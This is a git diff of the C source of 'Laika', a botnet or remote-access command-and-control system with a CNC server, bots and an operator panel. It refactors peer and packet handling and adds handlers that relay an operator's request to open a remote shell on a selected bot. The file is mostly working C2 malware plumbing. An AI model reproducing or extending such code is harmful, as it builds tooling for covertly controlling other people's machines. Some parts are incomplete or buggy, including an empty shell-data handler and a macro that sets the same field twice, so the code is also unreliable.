struct sWrapperData *data = (struct sWrapperData*)uData;
tCNC_PeerHashElem *item = (tCNC_PeerHashElem*)rawItem;
return data->iter(item->peer, data->uData);
}
void laikaC_iterPeers(struct sLaika_cnc *cnc, tLaika_peerIter iter, void *uData) {
struct sWrapperData wrapper;
wrapper.iter = iter;
wrapper.uData = uData;
/* iterate over hashmap calling our iterWrapper, pass the *real* iterator to
itemWrapper so that it can call it. probably a better way to do this
but w/e lol */
hashmap_scan(cnc->peers, iterWrapper, &wrapper);
} }

View File

@ -2,70 +2,82 @@
#include "cnc.h" #include "cnc.h"
#include "cpanel.h" #include "cpanel.h"
inline void checkAuthenticated(struct sLaika_peer *peer) { bool sendPanelPeerIter(struct sLaika_peer *peer, void *uData) {
if (peer->type != PEER_PANEL) struct sLaika_peer *authPeer = (struct sLaika_peer*)uData;
LAIKA_ERROR("malicious peer!");
}
bool sendPanelPeerIter(struct sLaika_socket *sock, void *uData) { /* make sure we're not sending connection information to themselves */
struct sLaika_peer *peer = (struct sLaika_peer*)sock; if (peer != authPeer) {
struct sLaika_peer *panel = (struct sLaika_peer*)uData; LAIKA_DEBUG("sending peer info %p to auth %p)\n", peer, authPeer);
struct sLaika_cnc *cnc = (struct sLaika_cnc*)panel->uData; laikaC_sendNewPeer(authPeer, peer);
/* make sure we're not sending cnc info lol, also don't send connection information about themselves */
if (&peer->sock != &cnc->sock && peer != panel) {
LAIKA_DEBUG("sending peer info %lx (cnc: %lx, panel: %lx)\n", peer, cnc, panel);
laikaC_sendNewPeer(panel, peer);
} }
return true; return true;
} }
void laikaC_sendNewPeer(struct sLaika_peer *panel, struct sLaika_peer *peer) { void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer) {
laikaS_startOutPacket(panel, LAIKAPKT_AUTHENTICATED_ADD_PEER_RES); laikaS_startOutPacket(authPeer, LAIKAPKT_AUTHENTICATED_ADD_PEER_RES);
/* write the peer's info */ /* write the peer's info */
laikaS_write(&panel->sock, peer->peerPub, sizeof(peer->peerPub)); laikaS_write(&authPeer->sock, peer->peerPub, sizeof(peer->peerPub));
laikaS_write(&panel->sock, peer->hostname, LAIKA_HOSTNAME_LEN); laikaS_write(&authPeer->sock, peer->hostname, LAIKA_HOSTNAME_LEN);
laikaS_write(&panel->sock, peer->ipv4, LAIKA_IPV4_LEN); laikaS_write(&authPeer->sock, peer->ipv4, LAIKA_IPV4_LEN);
laikaS_writeByte(&panel->sock, peer->type); laikaS_writeByte(&authPeer->sock, peer->type);
laikaS_endOutPacket(panel); laikaS_endOutPacket(authPeer);
} }
void laikaC_sendRmvPeer(struct sLaika_peer *panel, struct sLaika_peer *peer) { void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer) {
laikaS_startOutPacket(panel, LAIKAPKT_AUTHENTICATED_RMV_PEER_RES); laikaS_startOutPacket(authPeer, LAIKAPKT_AUTHENTICATED_RMV_PEER_RES);
/* write the peer's pubkey */ /* write the peer's pubkey */
laikaS_write(&panel->sock, peer->peerPub, sizeof(peer->peerPub)); laikaS_write(&authPeer->sock, peer->peerPub, sizeof(peer->peerPub));
laikaS_writeByte(&panel->sock, peer->type); laikaS_writeByte(&authPeer->sock, peer->type);
laikaS_endOutPacket(panel); laikaS_endOutPacket(authPeer);
} }
void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *panel, LAIKAPKT_SIZE sz, void *uData) { /* ============================================[[ Packet Handlers ]]============================================= */
struct sLaika_cnc *cnc = (struct sLaika_cnc*)uData;
panel->type = laikaS_readByte(&panel->sock);
switch (panel->type) { void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
case PEER_CNC: struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
case PEER_PANEL: struct sLaika_cnc *cnc = pInfo->cnc;
authPeer->type = laikaS_readByte(&authPeer->sock);
switch (authPeer->type) {
case PEER_AUTH:
/* check that peer's pubkey is authenticated */ /* check that peer's pubkey is authenticated */
if (sodium_memcmp(panel->peerPub, cnc->pub, sizeof(cnc->pub)) != 0) if (sodium_memcmp(authPeer->peerPub, cnc->pub, sizeof(cnc->pub)) != 0)
LAIKA_ERROR("unauthorized panel!\n"); LAIKA_ERROR("unauthorized panel!\n");
/* add to cnc's list of authenticated panels */ /* notify cnc */
laikaC_addPanel(cnc, panel); laikaC_setPeerType(cnc, authPeer, PEER_AUTH);
LAIKA_DEBUG("Accepted authenticated panel %lx\n", panel); LAIKA_DEBUG("Accepted authenticated panel %p\n", authPeer);
/* they passed! send list of our peers */ /* they passed! send list of our peers */
laikaP_iterList(&cnc->pList, sendPanelPeerIter, (void*)panel); laikaC_iterPeers(cnc, sendPanelPeerIter, (void*)authPeer);
/* notify other peers */
laikaC_onRmvPeer(cnc, panel);
laikaC_onAddPeer(cnc, panel);
break; break;
default: default:
LAIKA_ERROR("unknown peerType [%d]!\n", panel->type); LAIKA_ERROR("unknown peerType [%d]!\n", authPeer->type);
} }
}
void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
uint8_t pubKey[crypto_kx_PUBLICKEYBYTES];
struct sLaika_authInfo *aInfo = (struct sLaika_authInfo*)uData;
struct sLaika_cnc *cnc = aInfo->info.cnc;
struct sLaika_peer *peer;
/* read pubkey & find peer */
laikaS_read(&authPeer->sock, pubKey, crypto_kx_PUBLICKEYBYTES);
if ((peer = laikaC_getPeerByPub(cnc, pubKey)) == NULL)
LAIKA_ERROR("laikaC_handleAuthenticatedShellOpen: Requested peer doesn't exist!\n");
aInfo->shellBot = peer;
/* forward the request to open a shell */
laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_OPEN);
}
void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
} }

View File

@ -33,7 +33,6 @@
#else #else
#define LAIKA_ERROR(...) do { \ #define LAIKA_ERROR(...) do { \
printf("[ERROR] : " __VA_ARGS__); \ printf("[ERROR] : " __VA_ARGS__); \
getchar(); \
if (LAIKA_ISPROTECTED) \ if (LAIKA_ISPROTECTED) \
longjmp(eLaika_errStack[eLaika_errIndx], 1); \ longjmp(eLaika_errStack[eLaika_errIndx], 1); \
else \ else \

View File

@ -41,7 +41,7 @@ enum {
* LAIKAPKT_ID pktID; * LAIKAPKT_ID pktID;
*/ */
LAIKAPKT_HANDSHAKE_REQ, /* first packet sent by peer & received by cnc */ LAIKAPKT_HANDSHAKE_REQ, /* first packet sent by peer & received by cnc */
/* layout of LAIKAPKT_HANDSHAKE_REQ: /* layout of LAIKAPKT_HANDSHAKE_REQ: *NOTE* ALL DATA IN THIS PACKET IS SENT IN PLAINTEXT!!
* uint8_t laikaMagic[LAIKA_MAGICLEN]; -- LAIKA_MAGIC * uint8_t laikaMagic[LAIKA_MAGICLEN]; -- LAIKA_MAGIC
* uint8_t majorVer; * uint8_t majorVer;
* uint8_t minorVer; * uint8_t minorVer;
@ -55,15 +55,14 @@ enum {
*/ */
LAIKAPKT_SHELL_OPEN, /* if sent to bot, opens a shell. if sent to cnc, signifies you opened a shell */ LAIKAPKT_SHELL_OPEN, /* if sent to bot, opens a shell. if sent to cnc, signifies you opened a shell */
/* layout of LAIKAPKT_SHELL_OPEN: /* layout of LAIKAPKT_SHELL_OPEN:
* uint8_t shellID; * NULL (empty packet)
*/ */
LAIKAPKT_SHELL_CLOSE, /* if sent to bot, closes a shell. if sent to cnc, signifies a shell was closed */ LAIKAPKT_SHELL_CLOSE, /* if sent to bot, closes a shell. if sent to cnc, signifies a shell was closed */
/* layout of LAIKAPKT_SHELL_CLOSE: /* layout of LAIKAPKT_SHELL_CLOSE:
* uint8_t shellID; * NULL (empty packet)
*/ */
LAIKAPKT_SHELL_DATA, /* if sent to bot, writes data to stdin of shell. if sent to cnc, writes to 'stdout' of shell */ LAIKAPKT_SHELL_DATA, /* if sent to bot, writes data to stdin of shell. if sent to cnc, writes to 'stdout' of shell */
/* layout of LAIKAPKT_SHELL_DATA /* layout of LAIKAPKT_SHELL_DATA
* uint8_t shellID;
* char buf[VAR_PACKET_LENGTH]; * char buf[VAR_PACKET_LENGTH];
*/ */
/* ==================================================[[ Auth ]]================================================== */ /* ==================================================[[ Auth ]]================================================== */
@ -83,18 +82,18 @@ enum {
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot * uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
* uint8_t peerType; * uint8_t peerType;
*/ */
LAIKAPKT_AUTHENTICATED_OPEN_SHELL_REQ, /* panel requesting cnc open a shell on bot */ LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ, /* panel requesting cnc open a shell on bot */
/* layout of LAIKAPKT_AUTHENTICATE_OPEN_SHELL_REQ /* layout of LAIKAPKT_AUTHENTICATE_OPEN_SHELL_REQ
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot * uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
*/ */
LAIKAPKT_AUTHENTICATED_OPEN_SHELL_RES, /* panel requesting cnc open a shell on bot */ LAIKAPKT_AUTHENTICATED_SHELL_OPEN_RES, /* panel requesting cnc open a shell on bot */
/* layout of LAIKAPKT_AUTHENTICATE_OPEN_SHELL_REQ /* layout of LAIKAPKT_AUTHENTICATE_OPEN_SHELL_REQ
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot * uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
* uint8_t shellID; -- shell id of shell opened on bot * uint16_t shellID; -- shell id of shell opened on bot
*/ */
LAIKAPKT_AUTHENTICATED_SHELL_DATA, /* if sent to cnc, writes data to stdin of shell. if sent to panel, writes to 'stdout' of shell */ LAIKAPKT_AUTHENTICATED_SHELL_DATA, /* if sent to cnc, writes data to stdin of shell. if sent to panel, writes to 'stdout' of shell */
/* layout of LAIKAPKT_SHELL_DATA /* layout of LAIKAPKT_SHELL_DATA
* uint8_t shellID; * uint16_t shellID;
* char buf[VAR_PACKET_LENGTH]; * char buf[VAR_PACKET_LENGTH];
*/ */
LAIKAPKT_MAXNONE LAIKAPKT_MAXNONE

View File

@ -11,20 +11,28 @@ typedef enum {
PEER_UNVERIFIED, PEER_UNVERIFIED,
PEER_BOT, PEER_BOT,
PEER_CNC, /* cnc 2 cnc communication */ PEER_CNC, /* cnc 2 cnc communication */
PEER_PANEL /* authorized peers can send commands to cnc */ PEER_AUTH /* authorized peers can send commands to cnc */
} PEERTYPE; } PEERTYPE;
struct sLaika_peer; struct sLaika_peer;
typedef void (*PeerPktHandler)(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData); typedef void (*PeerPktHandler)(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
struct sLaika_peerPacketInfo {
PeerPktHandler handler;
LAIKAPKT_SIZE size;
bool variadic;
};
#define LAIKA_CREATE_PACKET_INFO(ID, HANDLER, SIZE, ISVARIADIC) [ID] = {.handler = HANDLER, .size = SIZE, .handler = HANDLER}
struct sLaika_peer { struct sLaika_peer {
struct sLaika_socket sock; /* DO NOT MOVE THIS. this member HAS TO BE FIRST so that typecasting sLaika_peer* to sLaika_sock* works as intended */ struct sLaika_socket sock; /* DO NOT MOVE THIS. this member HAS TO BE FIRST so that typecasting sLaika_peer* to sLaika_sock* works as intended */
uint8_t peerPub[crypto_kx_PUBLICKEYBYTES]; /* connected peer's public key */ uint8_t peerPub[crypto_kx_PUBLICKEYBYTES]; /* connected peer's public key */
uint8_t inKey[crypto_kx_SESSIONKEYBYTES], outKey[crypto_kx_SESSIONKEYBYTES]; uint8_t inKey[crypto_kx_SESSIONKEYBYTES], outKey[crypto_kx_SESSIONKEYBYTES];
char hostname[LAIKA_HOSTNAME_LEN], ipv4[LAIKA_IPV4_LEN]; char hostname[LAIKA_HOSTNAME_LEN], ipv4[LAIKA_IPV4_LEN];
struct sLaika_pollList *pList; /* pollList we're activeList in */ struct sLaika_pollList *pList; /* pollList we're activeList in */
PeerPktHandler *handlers; struct sLaika_peerPacketInfo *packetTbl; /* const table to pull pkt data from */
LAIKAPKT_SIZE *pktSizeTable; /* const table to pull pkt size data from */
void *uData; /* data to be passed to pktHandler */ void *uData; /* data to be passed to pktHandler */
LAIKAPKT_SIZE pktSize; /* current pkt size */ LAIKAPKT_SIZE pktSize; /* current pkt size */
LAIKAPKT_ID pktID; /* current pkt ID */ LAIKAPKT_ID pktID; /* current pkt ID */
@ -35,10 +43,11 @@ struct sLaika_peer {
bool useSecure; /* if true, peer will transmit/receive encrypted data using inKey & outKey */ bool useSecure; /* if true, peer will transmit/receive encrypted data using inKey & outKey */
}; };
struct sLaika_peer *laikaS_newPeer(PeerPktHandler *handlers, LAIKAPKT_SIZE *pktSizeTable, struct sLaika_pollList *pList, void *uData); struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *packetTbl, struct sLaika_pollList *pList, void *uData);
void laikaS_freePeer(struct sLaika_peer *peer); void laikaS_freePeer(struct sLaika_peer *peer);
void laikaS_setSecure(struct sLaika_peer *peer, bool flag); void laikaS_setSecure(struct sLaika_peer *peer, bool flag);
void laikaS_emptyOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id); /* for sending packets with no body */
void laikaS_startOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id); void laikaS_startOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id);
int laikaS_endOutPacket(struct sLaika_peer *peer); int laikaS_endOutPacket(struct sLaika_peer *peer);
void laikaS_startVarPacket(struct sLaika_peer *peer, LAIKAPKT_ID id); void laikaS_startVarPacket(struct sLaika_peer *peer, LAIKAPKT_ID id);

View File

@ -8,8 +8,6 @@
/* number of pollFDs or epollFDs we expect to start with */ /* number of pollFDs or epollFDs we expect to start with */
#define POLLSTARTCAP 8 #define POLLSTARTCAP 8
typedef bool (*tLaika_pollIter)(struct sLaika_socket *sock, void *uData);
struct sLaika_pollEvent { struct sLaika_pollEvent {
struct sLaika_socket *sock; struct sLaika_socket *sock;
bool pollIn; bool pollIn;
@ -44,7 +42,6 @@ void laikaP_addSock(struct sLaika_pollList *pList, struct sLaika_socket *sock);
void laikaP_rmvSock(struct sLaika_pollList *pList, struct sLaika_socket *sock); void laikaP_rmvSock(struct sLaika_pollList *pList, struct sLaika_socket *sock);
void laikaP_addPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock); void laikaP_addPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock);
void laikaP_rmvPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock); void laikaP_rmvPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock);
void laikaP_iterList(struct sLaika_pollList *pList, tLaika_pollIter iter, void *uData);
void laikaP_pushOutQueue(struct sLaika_pollList *pList, struct sLaika_peer *peer); void laikaP_pushOutQueue(struct sLaika_pollList *pList, struct sLaika_peer *peer);
void laikaP_resetOutQueue(struct sLaika_pollList *pList); void laikaP_resetOutQueue(struct sLaika_pollList *pList);

View File

@ -2,12 +2,11 @@
#include "lmem.h" #include "lmem.h"
#include "lpeer.h" #include "lpeer.h"
struct sLaika_peer *laikaS_newPeer(PeerPktHandler *handlers, LAIKAPKT_SIZE *pktSizeTable, struct sLaika_pollList *pList, void *uData) { struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *pktTbl, struct sLaika_pollList *pList, void *uData) {
struct sLaika_peer *peer = laikaM_malloc(sizeof(struct sLaika_peer)); struct sLaika_peer *peer = laikaM_malloc(sizeof(struct sLaika_peer));
laikaS_initSocket(&peer->sock); laikaS_initSocket(&peer->sock);
peer->handlers = handlers; peer->packetTbl = pktTbl;
peer->pktSizeTable = pktSizeTable;
peer->pList = pList; peer->pList = pList;
peer->uData = uData; peer->uData = uData;
peer->pktSize = 0; peer->pktSize = 0;
@ -28,12 +27,21 @@ void laikaS_freePeer(struct sLaika_peer *peer) {
laikaM_free(peer); laikaM_free(peer);
} }
void laikaS_emptyOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id) {
struct sLaika_socket *sock = &peer->sock;
laikaS_writeByte(sock, id);
/* add to pollList's out queue */
laikaP_pushOutQueue(peer->pList, peer);
}
void laikaS_startOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id) { void laikaS_startOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id) {
struct sLaika_socket *sock = &peer->sock; struct sLaika_socket *sock = &peer->sock;
if (peer->outStart != -1) { /* sanity check */ if (peer->outStart != -1) /* sanity check */
LAIKA_ERROR("unended OUT packet!\n") LAIKA_ERROR("unended OUT packet!\n");
}
laikaS_writeByte(sock, id); laikaS_writeByte(sock, id);
peer->outStart = sock->outCount; peer->outStart = sock->outCount;
@ -58,7 +66,7 @@ int laikaS_endOutPacket(struct sLaika_peer *peer) {
/* encrypt packet body in-place */ /* encrypt packet body in-place */
if (crypto_secretbox_easy(body, body, (sock->outCount - peer->outStart) - crypto_secretbox_NONCEBYTES, if (crypto_secretbox_easy(body, body, (sock->outCount - peer->outStart) - crypto_secretbox_NONCEBYTES,
&sock->outBuf[peer->outStart], peer->outKey) != 0) { &sock->outBuf[peer->outStart], peer->outKey) != 0) {
LAIKA_ERROR("Failed to encrypt packet!\n") LAIKA_ERROR("Failed to encrypt packet!\n");
} }
sock->outCount += crypto_secretbox_MACBYTES; sock->outCount += crypto_secretbox_MACBYTES;
@ -67,6 +75,7 @@ int laikaS_endOutPacket(struct sLaika_peer *peer) {
/* add to pollList's out queue */ /* add to pollList's out queue */
laikaP_pushOutQueue(peer->pList, peer); laikaP_pushOutQueue(peer->pList, peer);
/* return packet size and prepare for next outPacket */
sz = sock->outCount - peer->outStart; sz = sock->outCount - peer->outStart;
peer->outStart = -1; peer->outStart = -1;
return sz; return sz;
@ -75,9 +84,8 @@ int laikaS_endOutPacket(struct sLaika_peer *peer) {
void laikaS_startVarPacket(struct sLaika_peer *peer, LAIKAPKT_ID id) { void laikaS_startVarPacket(struct sLaika_peer *peer, LAIKAPKT_ID id) {
struct sLaika_socket *sock = &peer->sock; struct sLaika_socket *sock = &peer->sock;
if (peer->outStart != -1) { /* sanity check */ if (peer->outStart != -1) /* sanity check */
LAIKA_ERROR("unended OUT packet!\n") LAIKA_ERROR("unended OUT packet!\n");
}
laikaS_writeByte(sock, LAIKAPKT_VARPKT); laikaS_writeByte(sock, LAIKAPKT_VARPKT);
laikaS_zeroWrite(sock, sizeof(LAIKAPKT_SIZE)); /* allocate space for packet size to patch later */ laikaS_zeroWrite(sock, sizeof(LAIKAPKT_SIZE)); /* allocate space for packet size to patch later */
@ -97,12 +105,11 @@ int laikaS_endVarPacket(struct sLaika_peer *peer) {
void laikaS_startInPacket(struct sLaika_peer *peer, bool variadic) { void laikaS_startInPacket(struct sLaika_peer *peer, bool variadic) {
struct sLaika_socket *sock = &peer->sock; struct sLaika_socket *sock = &peer->sock;
if (peer->inStart != -1) { /* sanity check */ if (peer->inStart != -1) /* sanity check */
LAIKA_ERROR("unended IN packet!\n") LAIKA_ERROR("unended IN packet!\n");
}
/* if we're encrypting/decrypting all packets, make sure to make the packetsize reflect this */ /* if we're encrypting/decrypting all packets, make sure to make the packetsize reflect this */
if (peer->useSecure && !variadic) if (peer->useSecure && !variadic && peer->pktSize != 0)
peer->pktSize += crypto_secretbox_MACBYTES + crypto_secretbox_NONCEBYTES; peer->pktSize += crypto_secretbox_MACBYTES + crypto_secretbox_NONCEBYTES;
peer->inStart = sock->inCount; peer->inStart = sock->inCount;
@ -113,13 +120,13 @@ int laikaS_endInPacket(struct sLaika_peer *peer) {
uint8_t *body; uint8_t *body;
size_t sz = sock->inCount - peer->inStart; size_t sz = sock->inCount - peer->inStart;
if (peer->useSecure) { if (peer->useSecure && sz > crypto_secretbox_MACBYTES + crypto_secretbox_NONCEBYTES) {
body = &sock->inBuf[peer->inStart + crypto_secretbox_NONCEBYTES]; body = &sock->inBuf[peer->inStart + crypto_secretbox_NONCEBYTES];
/* decrypt packet body in-place */ /* decrypt packet body in-place */
if (crypto_secretbox_open_easy(body, body, (sock->inCount - peer->inStart) - crypto_secretbox_NONCEBYTES, if (crypto_secretbox_open_easy(body, body, (sock->inCount - peer->inStart) - crypto_secretbox_NONCEBYTES,
&sock->inBuf[peer->inStart], peer->inKey) != 0) { &sock->inBuf[peer->inStart], peer->inKey) != 0) {
LAIKA_ERROR("Failed to decrypt packet!\n") LAIKA_ERROR("Failed to decrypt packet!\n");
} }
/* decrypted message is smaller now */ /* decrypted message is smaller now */
@ -149,47 +156,52 @@ bool laikaS_handlePeerIn(struct sLaika_peer *peer) {
if (laikaS_rawRecv(&peer->sock, sizeof(uint8_t), &recvd) != RAWSOCK_OK) if (laikaS_rawRecv(&peer->sock, sizeof(uint8_t), &recvd) != RAWSOCK_OK)
return false; return false;
/* read packet ID & mark start of packet */ /* read packet ID */
peer->pktID = laikaS_readByte(&peer->sock); peer->pktID = laikaS_readByte(&peer->sock);
/* LAIKAPKT_VARPKT's body is unencrypted, and handled by this switch statement. LAIKAPKT_VARPKT is /* LAIKAPKT_VARPKT's body is unencrypted, and handled by this switch statement. LAIKAPKT_VARPKT is
also likely not to be defined in our pktSizeTable. the LAIKAPKT_VARPKT case calls laikaS_startInPacket also likely not to be defined in our pktSizeTable. the LAIKAPKT_VARPKT case calls laikaS_startInPacket
for itself, so skip all of this */ for itself, so skip all of this */
if (peer->pktID == LAIKAPKT_VARPKT) if (peer->pktID == LAIKAPKT_VARPKT)
break; goto _HandlePacketVariadic;
/* sanity check pktID, pktSize && pktID's handler */ /* sanity check pktID, pktID's handler & make sure it's not marked as variadic */
if (peer->pktID >= LAIKAPKT_MAXNONE || (peer->pktSize = peer->pktSizeTable[peer->pktID]) == 0 || peer->handlers[peer->pktID] == NULL) if (peer->pktID >= LAIKAPKT_MAXNONE || peer->packetTbl[peer->pktID].handler == NULL || peer->packetTbl[peer->pktID].variadic)
LAIKA_ERROR("peer %lx doesn't support packet id [%d]!\n", peer, peer->pktID); LAIKA_ERROR("peer %p doesn't support packet id [%d]!\n", peer, peer->pktID);
peer->pktSize = peer->packetTbl[peer->pktID].size;
/* if peer->useSecure is true, body is encrypted */ /* if peer->useSecure is true, body is encrypted */
laikaS_startInPacket(peer, false); laikaS_startInPacket(peer, false);
break; goto _HandlePacketBody;
case LAIKAPKT_VARPKT: case LAIKAPKT_VARPKT:
_HandlePacketVariadic:
/* try grabbing pktID & size */ /* try grabbing pktID & size */
if (laikaS_rawRecv(&peer->sock, sizeof(LAIKAPKT_ID) + sizeof(LAIKAPKT_SIZE), &recvd) != RAWSOCK_OK) if (laikaS_rawRecv(&peer->sock, sizeof(LAIKAPKT_ID) + sizeof(LAIKAPKT_SIZE), &recvd) != RAWSOCK_OK)
return false; return false;
/* not worth queuing & setting pollIn for 3 bytes. if the connection is that slow, it was probably sent maliciously anyways */
if (recvd != sizeof(LAIKAPKT_ID) + sizeof(LAIKAPKT_SIZE)) if (recvd != sizeof(LAIKAPKT_ID) + sizeof(LAIKAPKT_SIZE))
LAIKA_ERROR("couldn't read whole LAIKAPKT_VARPKT\n") LAIKA_ERROR("couldn't read whole LAIKAPKT_VARPKT\n");
/* read packet size */ /* read packet size */
laikaS_readInt(&peer->sock, (void*)&peer->pktSize, sizeof(LAIKAPKT_SIZE)); laikaS_readInt(&peer->sock, (void*)&peer->pktSize, sizeof(LAIKAPKT_SIZE));
if (peer->pktSize > LAIKA_MAX_PKTSIZE) if (peer->pktSize > LAIKA_MAX_PKTSIZE)
LAIKA_ERROR("variable packet too large!\n") LAIKA_ERROR("variable packet too large!\n");
/* read pktID */ /* read pktID */
peer->pktID = laikaS_readByte(&peer->sock); peer->pktID = laikaS_readByte(&peer->sock);
/* sanity check pktID, check valid range, check it's variadic (marked by a size of 0 & a defined packet handler) */ /* sanity check pktID, check valid handler & make sure it's marked as variadic */
if (peer->pktID >= LAIKAPKT_MAXNONE || peer->pktSizeTable[peer->pktID] != 0 || peer->handlers[peer->pktID] == NULL) if (peer->pktID >= LAIKAPKT_MAXNONE || peer->packetTbl[peer->pktID].handler == NULL || !peer->packetTbl[peer->pktID].variadic)
LAIKA_ERROR("requested packet id [%d] is not variadic!\n", peer->pktID) LAIKA_ERROR("requested packet id [%d] is not variadic!\n", peer->pktID);
/* if peer->useSecure is true, body is encrypted */ /* if peer->useSecure is true, body is encrypted */
laikaS_startInPacket(peer, true); laikaS_startInPacket(peer, true);
break; goto _HandlePacketBody;
default: default:
_HandlePacketBody:
/* try grabbing the rest of the packet */ /* try grabbing the rest of the packet */
if (laikaS_rawRecv(&peer->sock, peer->pktSize - peer->sock.inCount, &recvd) != RAWSOCK_OK) if (laikaS_rawRecv(&peer->sock, peer->pktSize - peer->sock.inCount, &recvd) != RAWSOCK_OK)
return false; return false;
@ -199,7 +211,7 @@ bool laikaS_handlePeerIn(struct sLaika_peer *peer) {
peer->pktSize = laikaS_endInPacket(peer); peer->pktSize = laikaS_endInPacket(peer);
/* dispatch to packet handler */ /* dispatch to packet handler */
peer->handlers[peer->pktID](peer, peer->pktSize, peer->uData); peer->packetTbl[peer->pktID].handler(peer, peer->pktSize, peer->uData);
/* reset */ /* reset */
peer->sock.inCount = 0; peer->sock.inCount = 0;

View File

@ -220,27 +220,4 @@ struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout,
/* return revents array */ /* return revents array */
return pList->revents; return pList->revents;
}
struct sWrapperData {
tLaika_pollIter iter;
void *uData;
};
/* wrapper iterator */
bool iterWrapper(const void *rawItem, void *uData) {
struct sWrapperData *data = (struct sWrapperData*)uData;
tLaika_hashMapElem *item = (tLaika_hashMapElem*)rawItem;
return data->iter(item->sock, data->uData);
}
void laikaP_iterList(struct sLaika_pollList *pList, tLaika_pollIter iter, void *uData) {
struct sWrapperData wrapper;
wrapper.iter = iter;
wrapper.uData = uData;
/* iterate over hashmap calling our iterWrapper, pass the *real* iterator to
itemWrapper so that it can call it. probably a better way to do this
but w/e lol */
hashmap_scan(pList->sockets, iterWrapper, &wrapper);
} }

View File

@ -26,7 +26,7 @@ void laikaS_init(void) {
WSADATA wsaData; WSADATA wsaData;
if (WSAStartup(MAKEWORD(1, 1), &wsaData) != 0) if (WSAStartup(MAKEWORD(1, 1), &wsaData) != 0)
LAIKA_ERROR("WSAStartup failed!\n") LAIKA_ERROR("WSAStartup failed!\n");
#endif #endif
} }
@ -118,7 +118,7 @@ void laikaS_bind(struct sLaika_socket *sock, uint16_t port) {
struct sockaddr_in address; struct sockaddr_in address;
if (!SOCKETINVALID(sock->sock)) if (!SOCKETINVALID(sock->sock))
LAIKA_ERROR("socket already setup!\n") LAIKA_ERROR("socket already setup!\n");
/* open our socket */ /* open our socket */
sock->sock = socket(AF_INET, SOCK_STREAM, 0); sock->sock = socket(AF_INET, SOCK_STREAM, 0);
@ -154,7 +154,7 @@ void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from) {
sock->sock = accept(from->sock, &address, &addressSize); sock->sock = accept(from->sock, &address, &addressSize);
if (SOCKETINVALID(sock->sock)) if (SOCKETINVALID(sock->sock))
LAIKA_ERROR("accept() failed!\n") LAIKA_ERROR("accept() failed!\n");
} }
bool laikaS_setNonBlock(struct sLaika_socket *sock) { bool laikaS_setNonBlock(struct sLaika_socket *sock) {
@ -266,6 +266,10 @@ RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed
RAWSOCKCODE errCode = RAWSOCK_OK; RAWSOCKCODE errCode = RAWSOCK_OK;
int rcvd, start = sock->inCount; int rcvd, start = sock->inCount;
/* sanity check */
if (sz == 0)
return RAWSOCK_OK;
/* make sure we have enough space to recv */ /* make sure we have enough space to recv */
laikaM_growarray(uint8_t, sock->inBuf, sz, sock->inCount, sock->inCap); laikaM_growarray(uint8_t, sock->inBuf, sz, sock->inCount, sock->inCap);
rcvd = recv(sock->sock, (buffer_t*)&sock->inBuf[sock->inCount], sz, LN_MSG_NOSIGNAL); rcvd = recv(sock->sock, (buffer_t*)&sock->inBuf[sock->inCount], sz, LN_MSG_NOSIGNAL);

View File

@ -69,7 +69,7 @@ void connectToCNC(void *uData) {
} }
void quitLaika(void *uData) { void quitLaika(void *uData) {
LAIKA_ERROR("quit!\n") LAIKA_ERROR("quit!\n");
} }
int main(int argv, char **argc) { int main(int argv, char **argc) {

View File

@ -32,7 +32,7 @@ void printLine(WINDOW *win, char *text, int width, int x, int y) {
void panel_init() { void panel_init() {
if ((wmain = initscr()) == NULL) if ((wmain = initscr()) == NULL)
LAIKA_ERROR("Failed to init ncurses!") LAIKA_ERROR("Failed to init ncurses!");
activeListSize = -1; activeListSize = -1;

View File

@ -138,15 +138,15 @@ void panelC_connectToCNC(tPanel_client *client, char *ip, char *port) {
laikaS_setSecure(client->peer, true); laikaS_setSecure(client->peer, true);
if (crypto_kx_client_session_keys(client->peer->inKey, client->peer->outKey, client->pub, client->priv, client->peer->peerPub) != 0) if (crypto_kx_client_session_keys(client->peer->inKey, client->peer->outKey, client->pub, client->priv, client->peer->peerPub) != 0)
LAIKA_ERROR("failed to gen session key!\n") LAIKA_ERROR("failed to gen session key!\n");
/* queue authenticated handshake request */ /* queue authenticated handshake request */
laikaS_startOutPacket(client->peer, LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ); laikaS_startOutPacket(client->peer, LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ);
laikaS_writeByte(sock, PEER_PANEL); laikaS_writeByte(sock, PEER_AUTH);
laikaS_endOutPacket(client->peer); laikaS_endOutPacket(client->peer);
